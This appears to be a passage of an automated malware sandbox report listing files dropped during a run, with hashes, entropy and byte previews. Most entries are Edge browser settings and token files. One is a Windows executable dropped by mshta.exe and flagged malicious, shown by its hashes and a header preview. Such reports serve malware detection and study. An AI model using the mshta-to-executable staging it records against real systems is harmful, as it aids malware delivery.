                                                                                                                                                                          SHA1:F9FFE819B396AAAE9BCFDC29D2CDDEE241E3CEE0
                                                                                                                                                                          SHA-256:E8915C0F13792723EE80E95C3340F14DCD43CC51495BC732649E6BFAA46BC493
                                                                                                                                                                          SHA-512:3C0F16E9FDB13D78A1DC808E96F04437AB9C5E7155D74C26C762BF77E28492A2B9A54D084360B79E0EA8E8A127C2279C154BD308E1F6740FCA0737D992238AE3
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):86
                                                                                                                                                                          Entropy (8bit):4.3751917412896075
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
                                                                                                                                                                          MD5:F732DBED9289177D15E236D0F8F2DDD3
                                                                                                                                                                          SHA1:53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
                                                                                                                                                                          SHA-256:2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
                                                                                                                                                                          SHA-512:B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:modified
                                                                                                                                                                          Size (bytes):60154
                                                                                                                                                                          Entropy (8bit):6.102026835795035
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:2Mk1rT8HD4XfCBS2qX7bW43ongorQXdbik:2MYrT8jOkS20hDXdbr
                                                                                                                                                                          MD5:4848A74A6B061E280FD5931FC9899337
                                                                                                                                                                          SHA1:71ECC304984D2A02B96FD8D0072636A7F12BB206
                                                                                                                                                                          SHA-256:8E03FE0DB01DB6FC5A9B36B6BF44ACD35B4D85571183302AC189B7DE6EEDD168
                                                                                                                                                                          SHA-512:AB61AB76ABC0D5206BAD2C6A520D3465E0449E3F054F9390C4BD4E378A4D2DA7B88CBE225168327BCC848A0F8050FF213381115B8769EEA8425C8A548F60C843
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734939605"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:modified
                                                                                                                                                                          Size (bytes):58876
                                                                                                                                                                          Entropy (8bit):6.104665812125494
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:z/Ps+wsI7ynqOCBS2qX7b9wgorQXdbiR3oM:z/0+zI7ynTkS207Xdbe3
                                                                                                                                                                          MD5:756768BAEA7827431B8F522A8795DAA1
                                                                                                                                                                          SHA1:25849E7ADAACB22E529D8D5580471B1F4BC7CFD9
                                                                                                                                                                          SHA-256:CD43A007552CC86DC1A1898E5924C5E41846638AF01C8FB513977935CB2FD893
                                                                                                                                                                          SHA-512:314B7EAFAABB99E912A4A7E919A651145F17D6265B067203030FF0EF05125229D39A0270056DD449FBED76F71F4A93818EE718F2B3B913CFAAC5DBB7C7982E5C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):58876
                                                                                                                                                                          Entropy (8bit):6.104665812125494
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:z/Ps+wsI7ynqOCBS2qX7b9wgorQXdbiR3oM:z/0+zI7ynTkS207Xdbe3
                                                                                                                                                                          MD5:756768BAEA7827431B8F522A8795DAA1
                                                                                                                                                                          SHA1:25849E7ADAACB22E529D8D5580471B1F4BC7CFD9
                                                                                                                                                                          SHA-256:CD43A007552CC86DC1A1898E5924C5E41846638AF01C8FB513977935CB2FD893
                                                                                                                                                                          SHA-512:314B7EAFAABB99E912A4A7E919A651145F17D6265B067203030FF0EF05125229D39A0270056DD449FBED76F71F4A93818EE718F2B3B913CFAAC5DBB7C7982E5C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):58444
                                                                                                                                                                          Entropy (8bit):6.101676407533722
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:z/Ps+wsI7ynoCBS2qX7bRtPHgorQXdbiR3oM:z/0+zI7ynokS20htP0Xdbe3
                                                                                                                                                                          MD5:CF3A9CE3390629AD48D649B6053BBA71
                                                                                                                                                                          SHA1:F9FFE819B396AAAE9BCFDC29D2CDDEE241E3CEE0
                                                                                                                                                                          SHA-256:E8915C0F13792723EE80E95C3340F14DCD43CC51495BC732649E6BFAA46BC493
                                                                                                                                                                          SHA-512:3C0F16E9FDB13D78A1DC808E96F04437AB9C5E7155D74C26C762BF77E28492A2B9A54D084360B79E0EA8E8A127C2279C154BD308E1F6740FCA0737D992238AE3
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):60077
                                                                                                                                                                          Entropy (8bit):6.10190953579711
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:2Mk1rT8H1nXRCBS2qX7bW43ongorQXdbik:2MYrT8VBkS20hDXdbr
                                                                                                                                                                          MD5:764FC99396123BF4A2B7512B80AA89D4
                                                                                                                                                                          SHA1:5D36B3779D71DC5E39C31F63F969603140B5DACE
                                                                                                                                                                          SHA-256:CA82B1B1D7ABE9BB65673DC9C74B1AB29218E1471A88FACB3E5123CA1ADE39E5
                                                                                                                                                                          SHA-512:B79C2D39C0EAA81B704FA5DD2A0125B366DC4E3DE9D0FFA01C3B2B3C5BDDBCC83C88674F7429A352CADAEEAB62D95A5097B558F52FBDFD4D020947B839BE3D82
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734939605"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2278
                                                                                                                                                                          Entropy (8bit):3.8565429966261497
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:uiTrlKxrgxawxl9Il8uKflO9oWa01THh+62EhH1qoIzs+d1rc:mPcYcflO9Ra019V9IzM
                                                                                                                                                                          MD5:599A1AF7803B29DB4329DB2C39EB8F8C
                                                                                                                                                                          SHA1:2AAC0711BE6FAC2A3573248FF0884FD9F8994118
                                                                                                                                                                          SHA-256:B7102C1BEAF41D85F3B0B0F16768842FB25460A6D0F41A2F863F11E83F3DE294
                                                                                                                                                                          SHA-512:5032CE0B8C80AC2E4BEAC1AD5ED5B9F4967B512D615DAB8E516AEC52BA8AE24169016EDF8F204A65E86A4898B612DA01DE42D4A479597188AA16851F7CD724D4
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.H.N.y.Q.h.Z.V.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.v.D.B.7.R.2.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):4622
                                                                                                                                                                          Entropy (8bit):3.9919338198300425
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:96:RYcflO9bH42aSq1HzNj9UdqU+9fg3efl5OhkSNSgfj4l:RBNOJH4bSq1BRUdc9YuDZ0SJ
                                                                                                                                                                          MD5:F8B676EC56E7AFB9D340D9A28A77E26F
                                                                                                                                                                          SHA1:A24370998C3AB6C5D6D5C2F08F89D86B5D8A822D
                                                                                                                                                                          SHA-256:8CF23BBD0562127617EA9A3D19F119FAFF64583B61F420BBC544F308F0C6873E
                                                                                                                                                                          SHA-512:FC09B66C15BA50815101CF6F3C720B33F48E49A90BFE343FFA81C31826059E55A392B6204E02C202EE7418C8EE91053059D4F6BFCE0987BF3AED6887CE01036E
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.v.9.2.K.A.5.V.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.v.D.B.7.R.2.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2684
                                                                                                                                                                          Entropy (8bit):3.9060310809205383
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:uiTrlKx68Wa7x2xl9Il8uKflO9nZX3/pOs2ailD/LB2eJOmJMPFsQOGGhKqd/vc:acYcflO9ZXEs2RlDV2HGcAa
                                                                                                                                                                          MD5:8533768A368D18861061E5389AFB4C24
                                                                                                                                                                          SHA1:80C992512FE6EFEFE4D5FAB434B79ECFB36EC00B
                                                                                                                                                                          SHA-256:EB7197D114E8DD112CCFD2208178FB410C8F551653168AE56A7F65E802AA1E7B
                                                                                                                                                                          SHA-512:9FC1ADE943C83AC76DE1DAB04B918A9DB05CC6E8A23FD6D3320ACBEB505F9E2851F57C713559F9C0161D900E751E2EA7C944AAFD2E96668072008DF8CF6FBA20
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.C.Z.q.W.N.9.z.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.v.D.B.7.R.2.
                                                                                                                                                                          Process:C:\Windows\System32\mshta.exe
                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):77766
                                                                                                                                                                          Entropy (8bit):5.085213444703186
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:768:fsnZcnsXsnZcnsTKSfhJhzgaMIKDME37isnZcnsZCsnZcns:EZcbZcMKSfhJhzgaMIKDME37nZcCZc
                                                                                                                                                                          MD5:ABE2BD08E081BA0E6BD0A645A7A09FAC
                                                                                                                                                                          SHA1:037D5741BBC3615A62C6E17813D01B09134A6A6B
                                                                                                                                                                          SHA-256:75074080DF3E944DE6A3EB967DC7FF44ABBB9265E3CA22DA6838237AB7412D17
                                                                                                                                                                          SHA-512:9F0342B33410E641DD1F8018DFAC50D47894C1AC747BE20DFB1EAFF5089A1CBCD1AEB65EE9B78F7FD7337814AA0B0E12D941BBF02CCB5A45E0807B99B84EFF1A
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Antivirus:
                                                                                                                                                                          • Antivirus: ReversingLabs, Detection: 53%
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..W..W..C...V..C...U..C...C..C...P..W..s..C...V..C.|.V..C...V..RichW..........................PE..L...C.05............................@........ ....@..........................`......._....@...... ...........................0..P....@.......................P..@.......T............................................0...............................text...t........................... ..`.data...p.... ......................@....idata.......0......................@..@.rsrc........@......................@..@.reloc..@....P.......&..............@..B........................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):64
                                                                                                                                                                          Entropy (8bit):0.34726597513537405
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:Nlll:Nll
                                                                                                                                                                          MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                                                                                                                                          SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                                                                                                                                          SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                                                                                                                                          SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:@...e...........................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:RIFF (little-endian) data, Web/P image, VP8 encoding, 1200x800, Scaling: [none]x[none], YUV color, decoders should clamp
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):187870
                                                                                                                                                                          Entropy (8bit):7.999013258393486
                                                                                                                                                                          Encrypted:true
                                                                                                                                                                          SSDEEP:3072:H7Uxsy3eSeT4buEoFmO7f4duw1G4J3ZEssmwDLwUeiwaODgT1LPH0:H7byuSeTYCXQdDhwDL3NLOg1bH0
                                                                                                                                                                          MD5:8781A81727602775AACB32609EBFAD39
                                                                                                                                                                          SHA1:423AFD558A5AC4FC657FF8E1BC0A269AFA21C826
                                                                                                                                                                          SHA-256:D25B29D19D59D464D0DE882632412B8D06F686043BC6E9C829E1CE9E6201973D
                                                                                                                                                                          SHA-512:23F58B5053DADE1126CEF4177498D05DC802F049972B98EECCFF7DA4E7B2A1CDED5D8F4E54594DB951E495C481B2D88FF5AD3559B58D304BA8FEB5BD6ADAFFE1
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:RIFF....WEBPVP8 ....0....*.. .>I .E".!!'...P..ei...=8.9y.\......G..D.#m.........^...=J?z.P.....?..s.......j8...../.>..|...`o..w.[.|..7.........i...].W......K|.........a/._.?i...k.w.....o.w.....}.h.b.e.s.g....A..?..............o.....>..........G...7...W..._.................<.......q~..i..........S..o.^;;..O......>..........f........9...W./.......?z?...}..w.../'.G.g.........k....?....]..._.?....Y.k...G.......?....../.....~....F...[...o../.?......7.........I............~b~......9.g.....W.........P/._...^...sM...`l..T.r....6.w%..x..G.......Y....fWR.*gm.h`Y.....?..)......34.N.+T..:.q..W..b.L7.8.>KXN3..RI%ll......yI........i..".2.W...@.1.....I..7.bXD...t..s.`..c..q\.ujc.*..r.......<.`E,7...C.....e..^h.G...u".>...9W.4..M.....5.(w.~.ls....s.AG.QS.n...]..j.zyk..;.V.2=vN.7.U.C.n.w.A..36;6........}......&....c.....p.3.'..>{...s..a....We.mC....y.Q...Z.C.>.\.....O..."*"X..Z2..7..`.6....~p.~A.rFZ..#E"E.....Jp...K.0.j.?.{k..{.+.QTM-DZ.f.X.j...^.....<.#w..gI.<
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
